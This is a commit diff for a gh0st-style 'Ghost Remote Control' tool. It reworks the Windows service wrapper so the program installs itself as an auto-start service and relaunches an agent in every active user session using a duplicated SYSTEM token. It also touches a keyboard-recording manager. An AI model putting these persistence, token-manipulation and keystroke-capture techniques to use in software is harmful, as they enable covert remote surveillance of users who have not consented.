Feature: Support build TestRun as windows service

This commit is contained in:
yuanyuanxiang
2025-12-02 21:45:43 +01:00
parent 0a36f7edda
commit 8c45ae17a8
19 changed files with 321 additions and 233 deletions

View File

@@ -8,6 +8,6 @@ public:
virtual ~App() {}
virtual bool Initialize() = 0;
virtual bool Start(bool block) = 0;
virtual bool Start() = 0;
virtual bool Stop() = 0;
};

View File

@@ -182,74 +182,6 @@ BOOL CALLBACK callback(DWORD CtrlType)
return TRUE;
}
void PrintUsage()
{
Mprintf("Ghost Remote Control\n");
Mprintf("Usage:\n");
Mprintf(" ghost.exe -install Install as Windows service\n");
Mprintf(" ghost.exe -uninstall Uninstall service\n");
Mprintf(" ghost.exe -service Run as service (internal use)\n");
Mprintf(" ghost.exe -agent Run as agent (launched by service)\n");
Mprintf(" ghost.exe Run as normal application (debug mode)\n");
Mprintf("\n");
}
extern "C" BOOL RunAsAgent(BOOL block)
{
return g_MyApp.Run(block ? true : false) ? TRUE : FALSE;
}
bool RunService(int argc, const char* argv[])
{
g_ServiceDirectMode = FALSE;
if (argc == 1) { // 无参数时,作为服务启动
BOOL registered = FALSE;
BOOL running = FALSE;
char servicePath[MAX_PATH] = {0};
ServiceWrapper_CheckStatus(&registered, &running, servicePath, MAX_PATH);
char curPath[MAX_PATH];
GetModuleFileName(NULL, curPath, MAX_PATH);
if (registered && strcmp(curPath, servicePath) != 0) {
Mprintf("RunService Uninstall: %s\n", servicePath);
ServiceWrapper_Uninstall();
registered = FALSE;
}
if (!registered) {
Mprintf("RunService Install: %s\n", curPath);
ServiceWrapper_Install();
} else if (!running) {
int r = ServiceWrapper_Run();
Mprintf("RunService Run '%s' %s\n", curPath, r==ERROR_SUCCESS ? "succeed" : "failed");
if (r) {
r = ServiceWrapper_StartSimple();
Mprintf("RunService Start '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed");
}
}
return true;
} else if (argc > 1) {
if (_stricmp(argv[1], "-install") == 0) {
ServiceWrapper_Install();
return true;
} else if (_stricmp(argv[1], "-uninstall") == 0) {
ServiceWrapper_Uninstall();
return true;
} else if (_stricmp(argv[1], "-service") == 0) {
ServiceWrapper_Run();
return true;
} else if (_stricmp(argv[1], "-agent") == 0) {
RunAsAgent(true);
return true;
} else if (_stricmp(argv[1], "-help") == 0 || _stricmp(argv[1], "/?") == 0) {
PrintUsage();
return true;
}
}
return false;
}
int main(int argc, const char *argv[])
{
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc;
@@ -265,8 +197,11 @@ int main(int argc, const char *argv[])
}
if (isService) {
bool ret = RunService(argc, argv);
Mprintf("RunService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
bool ret = RunAsWindowsService(argc, argv);
Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
for (int i = 0; !ret && i < argc; i++) {
Mprintf(" Arg [%d]: %s\n", i, argv[i]);
}
if (ret) return 0x20251123;
}

View File

@@ -108,10 +108,9 @@ public:
g_Connection->SetType(CLIENT_TYPE_ONE);
return true;
}
virtual bool Start(bool block) override
virtual bool Start() override
{
if (block) StartClientApp(this);
else CloseHandle(__CreateThread(0, 0, StartClientApp, this, 0, 0));
StartClientApp(this);
return true;
}
virtual bool Stop() override
@@ -119,11 +118,11 @@ public:
g_bExit = S_CLIENT_EXIT;
return true;
}
bool Run(bool block = true)
bool Run()
{
if (!Initialize()) return false;
if (!Start(block)) return false;
if (block) Stop();
if (!Start()) return false;
if (!Stop()) return false;
return true;
}
};

View File

@@ -37,6 +37,7 @@
CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user) : CManager(pClient)
{
clip::set_error_handler(NULL);
m_bIsOfflineRecord = offline;
char path[MAX_PATH] = { "C:\\Windows\\" };

View File

@@ -5,40 +5,27 @@
#ifndef Mprintf
#ifdef _DEBUG
#define Mprintf printf
#define Log(p) ServiceWriteLog(p, "C:\\GhostService.log")
#else
#define Mprintf(format, ...)
#define Log(p)
#endif
#endif
// 外部声明
extern BOOL RunAsAgent(BOOL block);
// 静态变量
BOOL g_ServiceDirectMode = FALSE;
static SERVICE_STATUS g_ServiceStatus;
static MyService g_MyService =
{ "RemoteControlService", "Remote Control Service", "Provides remote desktop control functionality."};
static SERVICE_STATUS g_ServiceStatus = { 0 };
static SERVICE_STATUS_HANDLE g_StatusHandle = NULL;
static HANDLE g_StopEvent = INVALID_HANDLE_VALUE;
static HANDLE g_StopEvent = NULL;
// 前向声明
static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
static void WINAPI ServiceCtrlHandler(DWORD ctrlCode);
static void ServiceWriteLog(const char* message);
// 日志函数
static void ServiceWriteLog(const char* message)
{
FILE* f;
SYSTEMTIME st;
f = fopen("C:\\GhostService.log", "a");
if (f) {
GetLocalTime(&st);
fprintf(f, "[%04d-%02d-%02d %02d:%02d:%02d] %s\n",
st.wYear, st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond,
message);
fclose(f);
}
void InitWindowsService(MyService info){
memcpy(&g_MyService, &info, sizeof(MyService));
}
BOOL ServiceWrapper_CheckStatus(BOOL* registered, BOOL* running,
@@ -67,7 +54,7 @@ BOOL ServiceWrapper_CheckStatus(BOOL* registered, BOOL* running,
// 打开服务
hService = OpenServiceA(
hSCM,
SERVICE_NAME,
g_MyService.Name,
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG);
if (!hService) {
CloseServiceHandle(hSCM);
@@ -124,7 +111,7 @@ int ServiceWrapper_StartSimple(void)
}
// 打开服务并启动
hService = OpenServiceA(hSCM, SERVICE_NAME, SERVICE_START);
hService = OpenServiceA(hSCM, g_MyService.Name, SERVICE_START);
if (!hService) {
err = (int)GetLastError();
CloseServiceHandle(hSCM);
@@ -147,18 +134,18 @@ int ServiceWrapper_Run(void)
char buffer[256];
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = (LPSTR)SERVICE_NAME;
ServiceTable[0].lpServiceName = (LPSTR)g_MyService.Name;
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;
ServiceWriteLog("========================================");
ServiceWriteLog("ServiceWrapper_Run() called");
Log("========================================");
Log("ServiceWrapper_Run() called");
if (StartServiceCtrlDispatcher(ServiceTable) == FALSE) {
err = GetLastError();
sprintf(buffer, "StartServiceCtrlDispatcher failed: %d", (int)err);
ServiceWriteLog(buffer);
Log(buffer);
return (int)err;
}
return ERROR_SUCCESS;
@@ -171,15 +158,15 @@ static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
(void)argc;
(void)argv;
ServiceWriteLog("ServiceMain() called");
Log("ServiceMain() called");
g_StatusHandle = RegisterServiceCtrlHandler(
SERVICE_NAME,
g_MyService.Name,
ServiceCtrlHandler
);
if (g_StatusHandle == NULL) {
ServiceWriteLog("RegisterServiceCtrlHandler failed");
Log("RegisterServiceCtrlHandler failed");
return;
}
@@ -196,7 +183,7 @@ static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
g_StopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (g_StopEvent == NULL) {
ServiceWriteLog("CreateEvent failed");
Log("CreateEvent failed");
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
g_ServiceStatus.dwWin32ExitCode = GetLastError();
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
@@ -209,7 +196,7 @@ static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
g_ServiceStatus.dwCheckPoint = 0;
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
ServiceWriteLog("Service is now running");
Log("Service is now running");
hThread = CreateThread(NULL, 0, ServiceWrapper_WorkerThread, NULL, 0, NULL);
if (hThread) {
@@ -225,14 +212,14 @@ static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
g_ServiceStatus.dwCheckPoint = 3;
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
ServiceWriteLog("Service stopped");
Log("Service stopped");
}
static void WINAPI ServiceCtrlHandler(DWORD ctrlCode)
{
switch (ctrlCode) {
case SERVICE_CONTROL_STOP:
ServiceWriteLog("SERVICE_CONTROL_STOP received");
Log("SERVICE_CONTROL_STOP received");
if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING)
break;
@@ -265,29 +252,21 @@ DWORD WINAPI ServiceWrapper_WorkerThread(LPVOID lpParam)
(void)lpParam; // 未使用参数
if (g_ServiceDirectMode) {
// 直接模式在服务进程中运行SYSTEM权限
ServiceWriteLog("Running in DIRECT mode (SYSTEM)");
RunAsAgent(FALSE);
WaitForSingleObject(g_StopEvent, INFINITE);
return ERROR_SUCCESS;
}
ServiceWriteLog("========================================");
ServiceWriteLog("Worker thread started");
ServiceWriteLog("Service will launch agent in user sessions");
Log("========================================");
Log("Worker thread started");
Log("Service will launch agent in user sessions");
// 初始化会话监控器
SessionMonitor_Init(&monitor);
if (!SessionMonitor_Start(&monitor)) {
ServiceWriteLog("ERROR: Failed to start session monitor");
Log("ERROR: Failed to start session monitor");
SessionMonitor_Cleanup(&monitor);
return ERROR_SERVICE_SPECIFIC_ERROR;
}
ServiceWriteLog("Session monitor started successfully");
ServiceWriteLog("Agent will be launched automatically");
Log("Session monitor started successfully");
Log("Agent will be launched automatically");
// 主循环,只等待停止信号
// SessionMonitor 会在后台自动:
@@ -297,22 +276,22 @@ DWORD WINAPI ServiceWrapper_WorkerThread(LPVOID lpParam)
while (WaitForSingleObject(g_StopEvent, 10000) != WAIT_OBJECT_0) {
heartbeatCount++;
if (heartbeatCount % 6 == 0) { // 每60秒记录一次
sprintf(buf, "Service heartbeat - uptime: %d minutes", heartbeatCount);
ServiceWriteLog(buf);
sprintf(buf, "Service heartbeat - uptime: %d minutes", heartbeatCount / 6);
Log(buf);
}
}
ServiceWriteLog("Stop signal received");
ServiceWriteLog("Stopping session monitor...");
Log("Stop signal received");
Log("Stopping session monitor...");
SessionMonitor_Stop(&monitor);
SessionMonitor_Cleanup(&monitor);
ServiceWriteLog("Worker thread exiting");
ServiceWriteLog("========================================");
Log("Worker thread exiting");
Log("========================================");
return ERROR_SUCCESS;
}
void ServiceWrapper_Install(void)
BOOL ServiceWrapper_Install(void)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
@@ -330,13 +309,13 @@ void ServiceWrapper_Install(void)
if (schSCManager == NULL) {
Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError());
Mprintf("Please run as Administrator\n");
return;
return FALSE;
}
if (!GetModuleFileName(NULL, szPath, MAX_PATH)) {
Mprintf("ERROR: GetModuleFileName failed (%d)\n", (int)GetLastError());
CloseServiceHandle(schSCManager);
return;
return FALSE;
}
Mprintf("Installing service...\n");
@@ -344,8 +323,8 @@ void ServiceWrapper_Install(void)
schService = CreateService(
schSCManager,
SERVICE_NAME,
SERVICE_DISPLAY,
g_MyService.Name,
g_MyService.Display,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
@@ -360,10 +339,12 @@ void ServiceWrapper_Install(void)
Mprintf("INFO: Service already exists\n");
// 打开已存在的服务
schService = OpenService(schSCManager, SERVICE_NAME, SERVICE_ALL_ACCESS);
schService = OpenService(schSCManager, g_MyService.Name, SERVICE_ALL_ACCESS);
if (schService) {
Mprintf("SUCCESS: Service is already installed\n");
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return TRUE;
}
} else if (err == ERROR_ACCESS_DENIED) {
Mprintf("ERROR: Access denied. Please run as Administrator\n");
@@ -371,13 +352,13 @@ void ServiceWrapper_Install(void)
Mprintf("ERROR: CreateService failed (%d)\n", (int)err);
}
CloseServiceHandle(schSCManager);
return;
return FALSE;
}
Mprintf("SUCCESS: Service created successfully\n");
// 设置服务描述
sd.lpDescription = (LPSTR)SERVICE_DESC;
sd.lpDescription = (LPSTR)g_MyService.Description;
if (ChangeServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, &sd)) {
Mprintf("SUCCESS: Service description set\n");
}
@@ -404,7 +385,7 @@ void ServiceWrapper_Install(void)
Mprintf("INFO: Service is already running\n");
} else {
Mprintf("WARNING: StartService failed (%d)\n", (int)err);
Mprintf("You can start it manually using: net start %s\n", SERVICE_NAME);
Mprintf("You can start it manually using: net start %s\n", g_MyService.Name);
}
}
@@ -422,9 +403,11 @@ void ServiceWrapper_Install(void)
Mprintf(" - C:\\SessionMonitor.log (session monitor logs)\n");
Mprintf("\n");
Mprintf("Commands:\n");
Mprintf(" To verify: sc query %s\n", SERVICE_NAME);
Mprintf(" To start: net start %s\n", SERVICE_NAME);
Mprintf(" To stop: net stop %s\n", SERVICE_NAME);
Mprintf(" To verify: sc query %s\n", g_MyService.Name);
Mprintf(" To start: net start %s\n", g_MyService.Name);
Mprintf(" To stop: net stop %s\n", g_MyService.Name);
return TRUE;
}
void ServiceWrapper_Uninstall(void)
@@ -449,7 +432,7 @@ void ServiceWrapper_Uninstall(void)
schService = OpenService(
schSCManager,
SERVICE_NAME,
g_MyService.Name,
SERVICE_STOP | DELETE
);
@@ -503,3 +486,100 @@ void ServiceWrapper_Uninstall(void)
Mprintf("\n=== Uninstallation Complete ===\n");
}
void PrintUsage()
{
Mprintf("Usage:\n");
Mprintf(" -install Install as Windows service\n");
Mprintf(" -uninstall Uninstall service\n");
Mprintf(" -service Run as service\n");
Mprintf(" -agent Run as agent\n");
Mprintf(" default Run as normal application\n");
Mprintf("\n");
}
// 从服务路径中提取可执行文件路径(去除引号和参数)
static void ExtractExePath(const char* input, char* output, size_t outSize)
{
const char* start = input;
const char* end;
size_t len;
if (outSize == 0) return;
output[0] = '\0';
// 跳过开头的引号
if (*start == '"') {
start++;
end = strchr(start, '"');
if (!end) end = start + strlen(start);
} else {
// 找到第一个空格(参数分隔)或字符串结尾
end = strchr(start, ' ');
if (!end) end = start + strlen(start);
}
len = end - start;
if (len >= outSize) len = outSize - 1;
strncpy(output, start, len);
output[len] = '\0';
}
BOOL RunAsWindowsService(int argc, const char* argv[])
{
if (argc == 1) { // 无参数时,作为服务启动
BOOL registered = FALSE;
BOOL running = FALSE;
char servicePath[MAX_PATH] = { 0 };
char serviceExePath[MAX_PATH] = { 0 };
char curPath[MAX_PATH] = { 0 };
ServiceWrapper_CheckStatus(&registered, &running, servicePath, MAX_PATH);
GetModuleFileName(NULL, curPath, MAX_PATH);
// 从服务路径中提取可执行文件路径(去除引号和参数)
ExtractExePath(servicePath, serviceExePath, MAX_PATH);
// 使用不区分大小写的比较
if (registered && _stricmp(curPath, serviceExePath) != 0) {
Mprintf("RunAsWindowsService Uninstall: %s\n", servicePath);
ServiceWrapper_Uninstall();
registered = FALSE;
}
if (!registered) {
Mprintf("RunAsWindowsService Install: %s\n", curPath);
return ServiceWrapper_Install();
} else if (!running) {
int r = ServiceWrapper_Run();
Mprintf("RunAsWindowsService Run '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed");
if (r) {
r = ServiceWrapper_StartSimple();
Mprintf("RunService Start '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed");
return r == ERROR_SUCCESS;
}
return TRUE;
}
return TRUE;
} else if (argc > 1) {
if (_stricmp(argv[1], "-install") == 0) {
return ServiceWrapper_Install();
}
else if (_stricmp(argv[1], "-uninstall") == 0) {
ServiceWrapper_Uninstall();
return TRUE;
}
else if (_stricmp(argv[1], "-service") == 0) {
return ServiceWrapper_Run() == ERROR_SUCCESS;
}
else if (_stricmp(argv[1], "-agent") == 0) {
return FALSE;
}
else if (_stricmp(argv[1], "-help") == 0 || _stricmp(argv[1], "/?") == 0) {
PrintUsage();
return TRUE;
}
}
return FALSE;
}

View File

@@ -3,15 +3,16 @@
#include <windows.h>
typedef struct MyService {
char Name[256];
char Display[256];
char Description[512];
} MyService;
#ifdef __cplusplus
extern "C" {
#endif
// 服务配置:根据需要可修改这些参数
#define SERVICE_NAME "RemoteControlService"
#define SERVICE_DISPLAY "Remote Control Service"
#define SERVICE_DESC "Provides remote desktop control functionality"
/*
# 停止服务
net stop RemoteControlService
@@ -26,8 +27,11 @@ net start RemoteControlService
sc query RemoteControlService
*/
// 直接模式标志
extern BOOL g_ServiceDirectMode;
// 自定义服务信息
void InitWindowsService(MyService info);
// 以Windows服务模式运行程序
BOOL RunAsWindowsService(int argc, const char* argv[]);
// 检查服务状态
// 参数:
@@ -48,7 +52,7 @@ int ServiceWrapper_StartSimple(void);
int ServiceWrapper_Run(void);
// 安装服务
void ServiceWrapper_Install(void);
BOOL ServiceWrapper_Install(void);
// 卸载服务
void ServiceWrapper_Uninstall(void);

View File

@@ -8,6 +8,12 @@
// <20><>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>
#define INITIAL_CAPACITY 4
#ifdef _DEBUG
#define SessionLog(p) ServiceWriteLog(p, "C:\\SessionMonitor.log")
#else
#define SessionLog(p)
#endif
// ǰ<><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
static DWORD WINAPI MonitorThreadProc(LPVOID param);
static void MonitorLoop(SessionMonitor* self);
@@ -15,7 +21,6 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId);
static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId);
static void TerminateAllAgents(SessionMonitor* self);
static void CleanupDeadProcesses(SessionMonitor* self);
static void SessionMonitor_WriteLog(const char* message);
// <20><>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><E9B8A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
static void AgentArray_Init(AgentProcessArray* arr);
@@ -84,20 +89,20 @@ static void AgentArray_RemoveAt(AgentProcessArray* arr, size_t index)
// ============================================
// <20><>־<EFBFBD><D6BE><EFBFBD><EFBFBD>
// ============================================
static void SessionMonitor_WriteLog(const char* message)
void ServiceWriteLog(const char* message, const char* filename)
{
FILE* f;
SYSTEMTIME st;
FILE* f;
SYSTEMTIME st;
f = fopen("C:\\SessionMonitor.log", "a");
if (f) {
GetLocalTime(&st);
fprintf(f, "[%04d-%02d-%02d %02d:%02d:%02d] %s\n",
st.wYear, st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond, message);
fclose(f);
}
f = fopen(filename, "a");
if (f) {
GetLocalTime(&st);
fprintf(f, "[%04d-%02d-%02d %02d:%02d:%02d] %s\n",
st.wYear, st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond,
message);
fclose(f);
}
}
// ============================================
@@ -122,23 +127,23 @@ void SessionMonitor_Cleanup(SessionMonitor* self)
BOOL SessionMonitor_Start(SessionMonitor* self)
{
if (self->running) {
SessionMonitor_WriteLog("Monitor already running");
SessionLog("Monitor already running");
return TRUE;
}
SessionMonitor_WriteLog("========================================");
SessionMonitor_WriteLog("Starting session monitor...");
SessionLog("========================================");
SessionLog("Starting session monitor...");
self->running = TRUE;
self->monitorThread = CreateThread(NULL, 0, MonitorThreadProc, self, 0, NULL);
if (!self->monitorThread) {
SessionMonitor_WriteLog("ERROR: Failed to create monitor thread");
SessionLog("ERROR: Failed to create monitor thread");
self->running = FALSE;
return FALSE;
}
SessionMonitor_WriteLog("Session monitor thread created");
SessionLog("Session monitor thread created");
return TRUE;
}
@@ -148,7 +153,7 @@ void SessionMonitor_Stop(SessionMonitor* self)
return;
}
SessionMonitor_WriteLog("Stopping session monitor...");
SessionLog("Stopping session monitor...");
self->running = FALSE;
if (self->monitorThread) {
@@ -158,11 +163,11 @@ void SessionMonitor_Stop(SessionMonitor* self)
}
// <20><>ֹ<EFBFBD><D6B9><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
SessionMonitor_WriteLog("Terminating all agent processes...");
SessionLog("Terminating all agent processes...");
TerminateAllAgents(self);
SessionMonitor_WriteLog("Session monitor stopped");
SessionMonitor_WriteLog("========================================");
SessionLog("Session monitor stopped");
SessionLog("========================================");
}
// ============================================
@@ -187,7 +192,7 @@ static void MonitorLoop(SessionMonitor* self)
char buf[256];
int j;
SessionMonitor_WriteLog("Monitor loop started");
SessionLog("Monitor loop started");
while (self->running) {
loopCount++;
@@ -214,20 +219,20 @@ static void MonitorLoop(SessionMonitor* self)
sprintf(buf, "Active session found: ID=%d, Name=%s",
(int)sessionId,
pSessionInfo[i].pWinStationName);
SessionMonitor_WriteLog(buf);
SessionLog(buf);
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ڸûỰ<C3BB><E1BBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (!IsAgentRunningInSession(self, sessionId)) {
sprintf(buf, "Agent not running in session %d, launching...", (int)sessionId);
SessionMonitor_WriteLog(buf);
SessionLog(buf);
if (LaunchAgentInSession(self, sessionId)) {
SessionMonitor_WriteLog("Agent launched successfully");
SessionLog("Agent launched successfully");
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һЩʱ<D0A9><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Sleep(2000);
} else {
SessionMonitor_WriteLog("Failed to launch agent");
SessionLog("Failed to launch agent");
}
}
@@ -237,13 +242,13 @@ static void MonitorLoop(SessionMonitor* self)
}
if (!foundActiveSession && loopCount % 5 == 1) {
SessionMonitor_WriteLog("No active sessions found");
SessionLog("No active sessions found");
}
WTSFreeMemory(pSessionInfo);
} else {
if (loopCount % 5 == 1) {
SessionMonitor_WriteLog("WTSEnumerateSessions failed");
SessionLog("WTSEnumerateSessions failed");
}
}
@@ -253,7 +258,7 @@ static void MonitorLoop(SessionMonitor* self)
}
}
SessionMonitor_WriteLog("Monitor loop exited");
SessionLog("Monitor loop exited");
}
static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId)
@@ -287,7 +292,7 @@ static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId)
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̿<EFBFBD><CCBF><EFBFBD>
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
SessionMonitor_WriteLog("CreateToolhelp32Snapshot failed");
SessionLog("CreateToolhelp32Snapshot failed");
return FALSE;
}
@@ -329,14 +334,14 @@ static void TerminateAllAgents(SessionMonitor* self)
EnterCriticalSection(&self->csProcessList);
sprintf(buf, "Terminating %d agent process(es)", (int)self->agentProcesses.count);
SessionMonitor_WriteLog(buf);
SessionLog(buf);
for (i = 0; i < self->agentProcesses.count; i++) {
info = &self->agentProcesses.items[i];
sprintf(buf, "Terminating agent PID=%d (Session %d)",
(int)info->processId, (int)info->sessionId);
SessionMonitor_WriteLog(buf);
SessionLog(buf);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (GetExitCodeProcess(info->hProcess, &exitCode)) {
@@ -345,16 +350,16 @@ static void TerminateAllAgents(SessionMonitor* self)
if (!TerminateProcess(info->hProcess, 0)) {
sprintf(buf, "WARNING: Failed to terminate PID=%d, error=%d",
(int)info->processId, (int)GetLastError());
SessionMonitor_WriteLog(buf);
SessionLog(buf);
} else {
SessionMonitor_WriteLog("Agent terminated successfully");
SessionLog("Agent terminated successfully");
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD>˳<EFBFBD>
WaitForSingleObject(info->hProcess, 5000);
}
} else {
sprintf(buf, "Agent PID=%d already exited with code %d",
(int)info->processId, (int)exitCode);
SessionMonitor_WriteLog(buf);
SessionLog(buf);
}
}
@@ -364,7 +369,7 @@ static void TerminateAllAgents(SessionMonitor* self)
self->agentProcesses.count = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LeaveCriticalSection(&self->csProcessList);
SessionMonitor_WriteLog("All agents terminated");
SessionLog("All agents terminated");
}
// <20><><EFBFBD><EFBFBD><EFBFBD>Ѿ<EFBFBD><D1BE><EFBFBD>ֹ<EFBFBD>Ľ<EFBFBD><C4BD><EFBFBD>
@@ -386,7 +391,7 @@ static void CleanupDeadProcesses(SessionMonitor* self)
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD>
sprintf(buf, "Agent PID=%d exited with code %d, cleaning up",
(int)info->processId, (int)exitCode);
SessionMonitor_WriteLog(buf);
SessionLog(buf);
CloseHandle(info->hProcess);
AgentArray_RemoveAt(&self->agentProcesses, i);
@@ -396,7 +401,7 @@ static void CleanupDeadProcesses(SessionMonitor* self)
// <20>޷<EFBFBD><DEB7><EFBFBD>ȡ<EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD><EBA3AC><EFBFBD>ܽ<EFBFBD><DCBD><EFBFBD><EFBFBD>Ѳ<EFBFBD><D1B2><EFBFBD><EFBFBD><EFBFBD>
sprintf(buf, "Cannot query agent PID=%d, removing from list",
(int)info->processId);
SessionMonitor_WriteLog(buf);
SessionLog(buf);
CloseHandle(info->hProcess);
AgentArray_RemoveAt(&self->agentProcesses, i);
@@ -429,7 +434,7 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
memset(&pi, 0, sizeof(pi));
sprintf(buf, "Attempting to launch agent in session %d", (int)sessionId);
SessionMonitor_WriteLog(buf);
SessionLog(buf);
si.cb = sizeof(STARTUPINFO);
si.lpDesktop = (LPSTR)"winsta0\\default"; // <20>ؼ<EFBFBD><D8BC><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -437,7 +442,7 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
// <20><>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̵<EFBFBD> SYSTEM <20><><EFBFBD><EFBFBD>
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
sprintf(buf, "OpenProcessToken failed: %d", (int)GetLastError());
SessionMonitor_WriteLog(buf);
SessionLog(buf);
return FALSE;
}
@@ -445,7 +450,7 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
SecurityImpersonation, TokenPrimary, &hDupToken)) {
sprintf(buf, "DuplicateTokenEx failed: %d", (int)GetLastError());
SessionMonitor_WriteLog(buf);
SessionLog(buf);
CloseHandle(hToken);
return FALSE;
}
@@ -453,30 +458,30 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
// <20>޸<EFBFBD><DEB8><EFBFBD><EFBFBD>ƵĻỰ ID ΪĿ<CEAA><C4BF><EFBFBD>û<EFBFBD><C3BB>
if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) {
sprintf(buf, "SetTokenInformation failed: %d", (int)GetLastError());
SessionMonitor_WriteLog(buf);
SessionLog(buf);
CloseHandle(hDupToken);
CloseHandle(hToken);
return FALSE;
}
SessionMonitor_WriteLog("Token duplicated");
SessionLog("Token duplicated");
// <20><>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>
if (!GetModuleFileName(NULL, exePath, MAX_PATH)) {
SessionMonitor_WriteLog("GetModuleFileName failed");
SessionLog("GetModuleFileName failed");
CloseHandle(hDupToken);
CloseHandle(hToken);
return FALSE;
}
sprintf(buf, "Service path: %s", exePath);
SessionMonitor_WriteLog(buf);
SessionLog(buf);
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
fileAttr = GetFileAttributes(exePath);
if (fileAttr == INVALID_FILE_ATTRIBUTES) {
sprintf(buf, "ERROR: Executable not found at: %s", exePath);
SessionMonitor_WriteLog(buf);
SessionLog(buf);
CloseHandle(hDupToken);
CloseHandle(hToken);
return FALSE;
@@ -486,18 +491,18 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
sprintf(cmdLine, "\"%s\" -agent", exePath);
sprintf(buf, "Command line: %s", cmdLine);
SessionMonitor_WriteLog(buf);
SessionLog(buf);
// <20><>ȡ<EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڻ<EFBFBD><DABB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (!WTSQueryUserToken(sessionId, &hUserToken)) {
sprintf(buf, "WTSQueryUserToken failed: %d", (int)GetLastError());
SessionMonitor_WriteLog(buf);
SessionLog(buf);
}
// ʹ<><CAB9><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ƴ<EFBFBD><C6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (hUserToken) {
if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) {
SessionMonitor_WriteLog("CreateEnvironmentBlock failed");
SessionLog("CreateEnvironmentBlock failed");
}
CloseHandle(hUserToken);
